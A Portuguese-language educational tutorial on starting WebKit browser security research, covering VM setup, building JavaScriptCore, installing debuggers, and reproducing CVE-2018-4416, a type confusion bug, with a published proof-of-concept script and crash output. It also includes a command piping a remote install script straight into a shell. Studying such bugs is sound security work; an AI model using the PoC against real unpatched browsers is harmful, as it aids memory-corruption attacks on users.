Passo a passo educacional da CVE-2018-4416, uma vulnerabilidade de confusão de tipos no WebKit JavaScriptCore, com PoC, configuração de depuração e análise de técnicas comuns de exploração binária em navegadores.
Escolhi um relativamente fácil: /WebKit/. (ChakraCore pode ser mais fácil, LoL. Mas há um rumor sobre a Microsoft cancelar o projeto. Então decidi não escolhê-lo).
Vou escrever uma série de posts para registrar minhas anotações no estudo de segurança do /WebKit/. É também a primeira vez que aprendo Segurança de Navegadores, meus posts provavelmente terão muitos erros. Se you notá-los, não hesite em me contatar para correções.
Antes de ler, você precisa saber: - Gramática de C++ - Gramática de Assembly - Instalação de Máquina Virtual - Familiaridade com Ubuntu e sua linha de comando - Conceitos básicos de teoria de compilação
** Máquina Virtual :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Primeiro, precisamos instalar uma VM como nosso alvo de teste. Aqui, escolho /Ubuntu 18.04 LTS/ e /Ubuntu 16.04 LTS/ como nosso host alvo. Você pode baixar [[https://www.ubuntu.com/][aqui]]. Se eu não especificar a versão, por favor use 18.04 LTS como versão padrão.
Mac pode ser uma escolha mais apropriada, já que tem XCode e Safari. Considerando o alto consumo de recursos do MacOS e as atualizações instáveis, prefiro usar Ubuntu.
Precisamos de um software de VM. Prefiro usar [[https://www.vmware.com/][VMWare]]. Parallel Desktop e VirtualBox (Grátis) também são bons, depende do seu hábito pessoal.
Não vou te dizer como instalar o Ubuntu no VMWare passo a passo. No entanto, ainda preciso lembrá-lo de alocar tanta memória e CPUs quanto possível porque a compilação consome uma quantidade enorme de recursos. Um disco de 80GB deve ser suficiente para armazenar código fonte e arquivos compilados.
** Código Fonte :PROPERTIES: :CUSTOM_ID: source-code :END: Você pode baixar o código fonte do WebKit de três maneiras: [[https://github.com/WebKit/webkit][/git/]], /svn/, e [[https://webkit.org/getting-the-code/][/archive/]].
O gerenciador de versão padrão do WebKit é svn. Mas eu escolho git (muito pouco familiarizado com svn):
#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example
** Depurador e Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE consome muitos recursos, então uso vim para editar código fonte.
A maioria dos trabalhos de depuração que vi usam lldb, com o qual não estou familiarizado. Portanto, também instalo gdb com o plugin gef.
#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src
** Teste :PROPERTIES: :CUSTOM_ID: test :END: *** Compilando JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilar um WebKit completo leva muito tempo. Atualmente, compilamos apenas JSC (JavaScript Core), de onde a maioria das vulnerabilidades vem.
Agora, você deve estar no diretório raiz do código fonte do WebKit. Execute isso para preparar as dependências:
#+begin_src shell Tools/gtk/install-dependencies #+end_src
Mesmo que ainda não compilemos o WebKit completo agora, você pode instalar as dependências restantes primeiro para testes futuros. Este passo não é necessário para compilar JSC se você não quiser gastar muito tempo:
#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src
Depois disso, podemos compilar o JSC:
#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src
Alguns minutos depois, podemos executar o JSC com:
#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src
Vamos fazer alguns testes:
#+begin_example
1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example
*** Disparando Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:
#+begin_quote Ubuntu 18.04 LTS aqui #+end_quote
Usamos [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] para testar, aqui está o PoC. Salve-o em =poc.js= na mesma pasta do =jsc=:
#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }
function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;
let fake_object = opt(fake_object_memory); print(fake_object); #+end_example
Primeiro, mude para a versão vulnerável:
#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example
#+begin_quote Pode levar ainda mais tempo do que a compilação #+end_quote
Execute: =./jsc poc.js=, e podemos obter:
#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example
Se executarmos isso na versão mais recente (=git checkout master= para voltar e deletar o conteúdo de build =rm -rf WebKitBuild/Relase/= e =rm -rf WebKitBuild/Debug/=):
#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined
================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >)
... // lots of error message
SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example
Agora, conseguimos disparar um bug!